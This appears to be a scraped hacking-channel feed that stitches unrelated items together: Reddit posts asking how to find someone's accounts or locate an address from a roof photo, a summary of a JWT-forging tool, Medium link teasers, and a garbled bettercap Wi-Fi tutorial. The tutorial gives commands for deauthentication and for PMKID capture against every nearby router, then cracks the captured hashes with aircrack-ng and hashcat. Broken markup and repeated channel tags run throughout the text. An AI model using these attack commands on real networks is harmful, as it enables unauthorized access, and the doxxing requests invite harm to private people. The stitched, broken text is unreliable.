hacking: security in practice
Lost connection

Hi so I’m trying to find a person who had blocked me on an app. They did not block me out of malice; they are suicidal and I’m genuinely concerned. I’m trying to find his other social media accounts but I know nothing about him other than his name is Jose. Someone please help..

submitted by /u/carlyanna15
[link] [comments]

hacking: security in practice
How to find out an adress from picture of someones roof

So i was on twitter the other day and i saw someone dox someone else's adress.

The victim had previously tweeted out a picture of a sunset or something and you could see his neighbours roof. the guy took that photo and did something with it and posted a screenshot of the victims house and even highlighted the points which gave away it was indeed the victims house.

now i have two questions:
1. How did he do that? How can i do that? (dont really want to dox someone, but i want to protect myself)

1. How do i protect myself from that and how much information does one need for this method?

submitted by /u/Multi27
[link] [comments]

hacking: security in practice
Cool Swag for Hackers!

do someone have experience with this shop? https://myhackertech.com/?ref=C0D3R3DSecurity

submitted by /u/Pol8y
[link] [comments]

JWTweak - Detects The Algorithm Of Input JWT Token And Provide Options To Generate The New JWT Token Based On The User Selected Algorithm
http://www.kitploit.com/2021/07/jwtweak-detects-algorithm-of-input-jwt.html

___________________________
@hacking_Attack
@Hacking_Video

With the global increase in JSON (https://www.kitploit.com/search/label/JSON) Web Token (JWT) usage, the attack surface has also increased significantly. Having said that, this utility is designed with the aim to generate the new JWT (https://www.kitploit.com/search/label/JWT) token with little or no time which would help security enthusiasts to find security flaws in JWT implementation. This tool is designed to automate the process of modifying the JWT algorithm of input JWT Token (https://www.kitploit.com/search/label/JWT%20Token) and then generate the new JWT based on the new algorithm.
Requirements
Python 3 (tested and working fine in python-3.7.7/Kali and python-3.8.2/Windows 10) pip3 install pycryptodomex
Features
Detects the algorithm of the input JWT Token Base64 decode (https://www.kitploit.com/search/label/Decode) the input JWT Token Generate new JWT by changing the algorithm of the input JWT to 'none' Generate new JWT by changing the algorithm of the input JWT to 'HS256' Generate new JWT by changing the algorithm of the input JWT to 'HS384' Generate new JWT by changing the algorithm of the input JWT to 'HS512' Generate new JWT by changing the algorithm of the input JWT to 'RS256' Generate new JWT by changing the algorithm of the input JWT to 'RS384' Generate new JWT by changing the algorithm of the input JWT to 'RS512'
Download Link
JWTweak.py (https://rishuranjanofficial.github.io/JWTweak/JWTweak.py)
Author
Rishu Ranjan

Download JWTweak (https://github.com/rishuranjanofficial/JWTweak)

___________________________
@hacking_Attack
@Hacking_Video

Our Secrets file is encoded with SOPs and the key holder bricked their laptop. Is it possible to recover it and get our charitable communities app running again?
https://www.reddit.com/r/Pentesting/comments/oi5fzh/our_secrets_file_is_encoded_with_sops_and_the_key/

You can see the SOPs file with its keys here: https://github.com/focallocal/fl-maps/blob/master/deployment/.sops.yaml Unfortunately we're trying to recover from a bug that shut our homelessness platform down. I temporarily changed a user password on our database to give someone access to solve the bug.. which i think they succeeded at, not realising that the User password was encrypted in the SOPs file we can't access. I've reached out to all former key holders but it looks like we've lost access completely (its a volunteer community and people come and go often). So the site is probably fixed, but i've broken it by changing the password our React app was using and the secrets file is inaccessible. Can anyone help, or suggest a way to get the app running again? submitted by /u/roamingandy (https://www.reddit.com/user/roamingandy)
[link] (https://www.reddit.com/r/Pentesting/comments/oi5fzh/our_secrets_file_is_encoded_with_sops_and_the_key/) [comments] (https://www.reddit.com/r/Pentesting/comments/oi5fzh/our_secrets_file_is_encoded_with_sops_and_the_key/)

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
dostackbufferoverflowgood: buffer overflow shellcoding

https://cdn-images-1.medium.com/max/1644/1*3hs5I9aoxA3uSHGVSaJwIA.png
Hi. This is the third writeup on my buffer overflow series. In this writeup, we will exploit buffer overflow and achieve remote code…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
ROP Emporium 2020(x86) walkthrough

https://cdn-images-1.medium.com/max/642/1*2uko24auzbg2DKr9f-6mTA.png
ROP Emporium 2020(x86) walkthrough

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Beginner Focused Cybersecurity Training: TryHackMe Pre-Security Learning Path

https://cdn-images-1.medium.com/max/2600/1*vLKB35Ueiq3uJueMxwo-7g.png
Security is a process, not a product. — Bruce Schneier

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
InsurAce Biweekly Updates (Jun 28 — Jul 11)

https://cdn-images-1.medium.com/max/1600/0*56yoVgpw_ebCPgJf
Kindly find out below what we have achieved during the past 2 weeks:

Continue reading on InsurAce »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Setting up a Hacking Lab

https://cdn-images-1.medium.com/max/2600/0*2ewIcOZv7jruMiFr
Recently, I decided to come back to watching Mr. Robot.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking Articles|Raj Chandel's Blog
Wireless Penetration Testing: Bettercap

IntroductionAccording to its official repository here,bettercap is a powerful, easily extensible and portable framework written in Go which aims to offer to security researchers, red teamers and reverse engineers an easy to use, all-in-one solution with all the features they might possibly need for performing reconnaissance and attacking WiFi networks, Bluetooth Low Energy devices, wireless HID devices and Ethernet networks. In this article, we’d be seeing how to use bettercap to aid with Wi-Fi pentesting.Table of Content1. InstallationInstallationTo install bettercap, we’d use:apt install bettercap bettercaphelp wifi

Now, This tool requires an older version of the pcap library so, we’ll first download that using wget.wget http://old.kali.org/kali/pool/main/libp/libpcap/libpcap0.8_1.9.1-4_amd64.debhttps://1.bp.blogspot.com/-T5clTC7EnLw/YOshEDoWy2I/AAAAAAAAxbQ/PldkqifN8pg6D6Wa3ztumrQgczY17eoDACLcBGAsYHQ/s16000/4.png Monitor Mode and Wi-Fi discoveryMonitor mode is a promiscuous mode for your IEEE802.11x receiver (aka Wi-Fi adapter or Wi-Fi NIC) and lets you capture signals from not only your access point but others as well. To put your Wi-Fi adapter in promiscuous mode:bettercap -iface wlan0monTo start discovering Access Points around you:wifi.recon on Sorting filtersOften times knowing the vendor of an access points aid us in checking access point against known vulnerabilities. To do this we can use the following command:set wifi.show.manufacturer true set.wifi.show.sort clients desc ___________________________
@hacking_Attack
@Hacking_Video

APs have arranged themselves in descending order of number of clients connected.set.wifi.show.sort essid asc set wifi.show.limit 3 set wifi.deauth.open true Deauth attacks using BettercapWe have already seen how to recon, sort and filter. Let’s conduct a short deauth attack on an access point.events.stream off

events.stream is a logging feature in bettercap that shows logs, new hosts being found, etc. By default, it is enabled but to give a clear output we can turn it off.set wifi.recon.channel 5 onIt is operating on channel 5 and we’d first put our adapter to listen on channel 5. aircrack-ng bettercap-wifi-handshakes.pcap -w /root/dict.txtHere, dict.txt is a long password file containing the most commonly used passwords and passwords I generated given the knowledge I have about my target.___________________________
@hacking_Attack
@Hacking_Video

B_3QQwCLcBGAsYHQ/s16000/56.png <v:shape<v:imagedata<o:p

And just like that, we have cracked the Wi-Fi passphrase of “raaj.”<o:p PMKID Attack using Bettercap<o:pWe’ve discussed in detail about PMKID and PMKID attack in this article here. Now, let’s see a small tutorial where bettercap can be used to conduct PMKID attack. <o:p bettercap<o:pset wifi.interface wlan0mon<o:pwifi.recon on<o:phttps://1.bp.blogspot.com/-b_-ZmoQktfg/YOsiEnOcsVI/AAAAAAAAxcY/Hcvtppuxio0YQYtNdLlZeInBdCP9kAGhgCLcBGAsYHQ/s16000/105.png <v:shape<v:imagedata<o:p

Let’s see the target APs available<o:p wifi.show<o:phttps://1.bp.blogspot.com/-ibzNJ5FyG5I/YOsiLuD82uI/AAAAAAAAxcg/O58jthf_qpE6mM_xKjwXIktdJXGGCMV8wCLcBGAsYHQ/s16000/106.png <v:shape<v:imagedata<o:p

For PMKID attack to work we have to send an association request to the target Access Point. We do this with:<o:p wifi.assoc <bssid<o:phttps://1.bp.blogspot.com/-fw2FNZasIN8/YOsiRtPSbtI/AAAAAAAAxco/2Ozmy1kXugMDuPKCrE4KnAQlEdQRN23OACLcBGAsYHQ/s16000/107.1.png <v:shape<v:imagedata<o:p

As we can see, we have successfully received the RSN frame containing PMKID and it has been saved in a pcap format. What is I want to send an association request to all the Wi-Fis available. To do that the command is:<o:p wifi.assoc all<o:p<v:shape<v:imagedata<o:p

And yes, all the vulnerable routers returned the RSN frame containing PMKID and it got saved in a pcap file.<o:p

Now we can use the hcxpcaptool to convert this pcap file in Hashcat crackable format and use Hashcat to crack the PMK hash.<o:p hcxpcaptool -z hashpmkid bettercap-wifi-handshakes.pcap<o:phashcat -m 16800 --force hashpmkid /usr/share/wordlists/rockyou.txt --show<o:pHere, 16800 is the code for PMKID WPA/WPA2 hash type. We have used rockyou dictionary here.<o:p https://1.bp.blogspot.com/-zMHc0XWseN4/YOsiZOY1KRI/AAAAAAAAxcw/2BosnmRcdGM3UtuFlW1nWqLR_qtJO8DMgCLcBGAsYHQ/s16000/108.png <v:shape<v:imagedata<o:p

And it’s so simple. Bettercap is a sniffer with many other such functionalities beside Wi-Fi packet sniffing. We hope that this article helped you in developing opinions about tools available in the market today and forging your own Wi-Fi security audit toolkit. Thanks for reading. Have a nice day.<o:p